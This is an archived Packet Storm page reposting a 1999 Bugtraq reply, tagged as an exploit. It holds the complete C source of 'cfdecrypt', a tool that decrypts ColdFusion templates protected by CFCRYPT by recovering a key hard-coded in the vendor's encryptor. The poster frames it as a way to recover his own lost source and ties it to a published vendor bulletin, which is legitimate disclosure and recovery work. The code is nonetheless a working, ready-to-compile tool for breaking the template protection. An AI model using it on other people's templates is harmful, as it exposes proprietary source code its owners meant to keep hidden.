what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cfdecrypt.txt

cfdecrypt.txt
Posted Sep 21, 1999

Decrypt Cold Fusion templates encrypted with CFCRYPT

tags | exploit
SHA-256 | a6146d1253672496bcfe5a6a5a6dd924b6d6f2adab3187a7d4a8b0b39fc2bac0

cfdecrypt.txt

Change Mirror Download
Subject:      Re: New Allaire Security Zone Bulletins and KB Articles
To: BUGTRAQ@SECURITYFOCUS.COM


On Tue May 25 1999, James Stephens wrote:
>
> At 03:00 PM 5/24/99 -0700, aleph1@UNDERGROUND.ORG wrote:
>
> > ASB99-08: Pages Encrypted with CFCRYPT.EXE Can Be Illegally Decrypted
>
> Has anyone seen the program that can alegedly decrypt encrypted cfml pages?


Indeed I recently needed such a tool to legitimately recover lost source. Since
I couldn't find one on the Internet I ended up writing it myself. The source is
attached.


Matt/* CFDECRYPT: Decrypt Cold Fusion templates encrypted with CFCRYPT
Matt Chapman <matthewc@cse.unsw.edu.au>


Usage: cfdecrypt <encrypted.cfm >decrypted.cfm


Requires a DES encryption library to compile.
*/


#include <stdio.h>
#include "des.h"


int main(void)
{
char *header = "Allaire Cold Fusion Template\012Header Size: ";
char buffer[54];
int headsize, outlen;
int skip_header;
int len, i;


char *keystr = "Error: cannot open template file--\"%s\". Please, try again!\012\012";
des_cblock key;
des_cblock input;
des_cblock output;
des_key_schedule schedule;


if ((fread(buffer, 1, 54, stdin) < 54) || (memcmp(buffer, header, 42)))
{
fprintf(stderr, "File is not an encrypted template\n");
return 1;
}


if (!memcmp(&buffer[42], "New Version", 11))
{
headsize = 69;
skip_header = 1;
}
else
{
headsize = atoi(&buffer[42]);
skip_header = 0;
}


if ((headsize < 54) || (fseek(stdin, headsize, SEEK_SET) < 0))
{
fprintf(stderr, "Error in file format\n");
return 1;
}


des_string_to_key(keystr, &key);
des_set_key(&key, schedule);
outlen = 0;


while ((len = fread(input, 1, 8, stdin)) == 8)
{
des_ecb_encrypt(&input, &output, schedule, 0);
outlen += 8;
i = 0;


if (skip_header)
{
while (i < 8)
{
if (output[i++] == 0x1A)
{
skip_header = 0;
break;
}
}
}


fwrite(output + i, 1, 8 - i, stdout);
}


for (i = 0; i < len; i++)
{
output[i] = input[i] ^ (outlen + i);
}


fwrite(output, 1, len, stdout);


return 0;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close